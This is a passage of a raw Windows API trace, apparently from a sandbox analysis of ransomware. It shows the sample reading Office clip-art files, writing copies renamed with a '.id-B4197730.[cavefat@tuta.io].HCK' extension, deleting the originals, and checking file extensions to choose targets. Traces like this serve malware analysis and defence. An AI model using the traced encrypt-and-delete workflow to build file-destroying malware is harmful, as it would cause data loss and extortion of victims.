DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0155.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.160] lstrlenW (lpString=".doc") returned 4 [0155.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString=".docx") returned 5 [0155.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.160] lstrlenW (lpString=".pdf") returned 4 [0155.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString=".xls") returned 4 [0155.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.160] lstrlenW (lpString=".xlsx") returned 5 [0155.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.160] lstrlenW (lpString=".ppt") returned 4 [0155.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.160] lstrlenW (lpString=".zip") returned 4 [0155.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.160] lstrlenW (lpString=".rar") returned 4 [0155.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString=".bz2") returned 4 [0155.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString=".7z") returned 3 [0155.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.160] lstrlenW (lpString=".dbf") returned 4 [0155.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".1cd") returned 4 [0155.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".jpg") returned 4 [0155.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".doc") returned 4 [0155.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString=".docx") returned 5 [0155.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.161] lstrlenW (lpString=".pdf") returned 4 [0155.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString=".xls") returned 4 [0155.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.161] lstrlenW (lpString=".xlsx") returned 5 [0155.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.161] lstrlenW (lpString=".ppt") returned 4 [0155.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".zip") returned 4 [0155.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.161] lstrlenW (lpString=".rar") returned 4 [0155.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString=".bz2") returned 4 [0155.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString=".7z") returned 3 [0155.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".dbf") returned 4 [0155.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".1cd") returned 4 [0155.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0155.161] lstrlenW (lpString=".jpg") returned 4 [0155.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.161] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.161] lstrlenW (lpString="AN04385_.WMF") returned 12 [0155.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.162] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5004) returned 1 [0155.162] CloseHandle (hObject=0x30c) returned 1 [0155.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0155.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.162] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.162] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.162] GetLastError () returned 0x0 [0155.162] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x138c, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1390, lpOverlapped=0x0) returned 1 [0155.164] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.164] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.164] SetEndOfFile (hFile=0x308) returned 1 [0155.165] CloseHandle (hObject=0x308) returned 1 [0155.165] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.165] SetEndOfFile (hFile=0x30c) returned 1 [0155.166] CloseHandle (hObject=0x30c) returned 1 [0155.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0155.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.167] lstrlenW (lpString=".doc") returned 4 [0155.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.167] lstrlenW (lpString=".docx") returned 5 [0155.167] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.167] lstrlenW (lpString=".pdf") returned 4 [0155.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.167] lstrlenW (lpString=".xls") returned 4 [0155.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.167] lstrlenW (lpString=".xlsx") returned 5 [0155.167] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.167] lstrlenW (lpString=".ppt") returned 4 [0155.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.167] lstrlenW (lpString=".zip") returned 4 [0155.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.167] lstrlenW (lpString=".rar") returned 4 [0155.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.167] lstrlenW (lpString=".bz2") returned 4 [0155.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.167] lstrlenW (lpString=".7z") returned 3 [0155.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".dbf") returned 4 [0155.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".1cd") returned 4 [0155.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".jpg") returned 4 [0155.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".doc") returned 4 [0155.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString=".docx") returned 5 [0155.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.168] lstrlenW (lpString=".pdf") returned 4 [0155.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString=".xls") returned 4 [0155.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.168] lstrlenW (lpString=".xlsx") returned 5 [0155.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.168] lstrlenW (lpString=".ppt") returned 4 [0155.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".zip") returned 4 [0155.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.168] lstrlenW (lpString=".rar") returned 4 [0155.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString=".bz2") returned 4 [0155.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString=".7z") returned 3 [0155.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".dbf") returned 4 [0155.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".1cd") returned 4 [0155.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0155.168] lstrlenW (lpString=".jpg") returned 4 [0155.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.168] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.168] lstrlenW (lpString="BD00116_.WMF") returned 12 [0155.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.169] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4870) returned 1 [0155.169] CloseHandle (hObject=0x30c) returned 1 [0155.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0155.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.169] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.169] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.170] GetLastError () returned 0x0 [0155.170] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1306, lpOverlapped=0x0) returned 1 [0155.171] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1310, lpOverlapped=0x0) returned 1 [0155.172] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.172] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.172] SetEndOfFile (hFile=0x308) returned 1 [0155.172] CloseHandle (hObject=0x308) returned 1 [0155.173] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.173] SetEndOfFile (hFile=0x30c) returned 1 [0155.173] CloseHandle (hObject=0x30c) returned 1 [0155.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString=".doc") returned 4 [0155.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString=".docx") returned 5 [0155.174] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.174] lstrlenW (lpString=".pdf") returned 4 [0155.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString=".xls") returned 4 [0155.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.174] lstrlenW (lpString=".xlsx") returned 5 [0155.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.174] lstrlenW (lpString=".ppt") returned 4 [0155.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString=".zip") returned 4 [0155.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.174] lstrlenW (lpString=".rar") returned 4 [0155.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString=".bz2") returned 4 [0155.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString=".7z") returned 3 [0155.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString=".dbf") returned 4 [0155.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString=".1cd") returned 4 [0155.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.174] lstrlenW (lpString=".jpg") returned 4 [0155.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString=".doc") returned 4 [0155.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString=".docx") returned 5 [0155.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.175] lstrlenW (lpString=".pdf") returned 4 [0155.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString=".xls") returned 4 [0155.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.175] lstrlenW (lpString=".xlsx") returned 5 [0155.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.175] lstrlenW (lpString=".ppt") returned 4 [0155.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString=".zip") returned 4 [0155.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.175] lstrlenW (lpString=".rar") returned 4 [0155.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString=".bz2") returned 4 [0155.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString=".7z") returned 3 [0155.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString=".dbf") returned 4 [0155.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString=".1cd") returned 4 [0155.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0155.175] lstrlenW (lpString=".jpg") returned 4 [0155.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.175] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.175] lstrlenW (lpString="BD00141_.WMF") returned 12 [0155.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.175] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=26886) returned 1 [0155.176] CloseHandle (hObject=0x30c) returned 1 [0155.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x220 [0155.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0155.176] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.176] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.176] GetLastError () returned 0x0 [0155.176] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x6906, lpOverlapped=0x0) returned 1 [0155.178] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x6910, lpOverlapped=0x0) returned 1 [0155.179] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.179] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.179] SetEndOfFile (hFile=0x308) returned 1 [0155.179] CloseHandle (hObject=0x308) returned 1 [0155.180] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.180] SetEndOfFile (hFile=0x30c) returned 1 [0155.181] CloseHandle (hObject=0x30c) returned 1 [0155.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0155.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68 [0155.181] lstrlenW 